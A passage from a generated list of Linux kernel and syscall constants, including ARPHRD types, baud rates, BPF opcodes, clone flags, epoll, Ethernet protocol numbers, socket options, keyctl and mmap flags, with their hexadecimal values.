-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40041270
-- BLKBSZSET = 0x80041271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40041272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x21
-- F_GETLK64 = 0x21
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x22
-- F_SETLK64 = 0x22
-- F_SETLKW = 0x23
-- F_SETLKW64 = 0x23
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
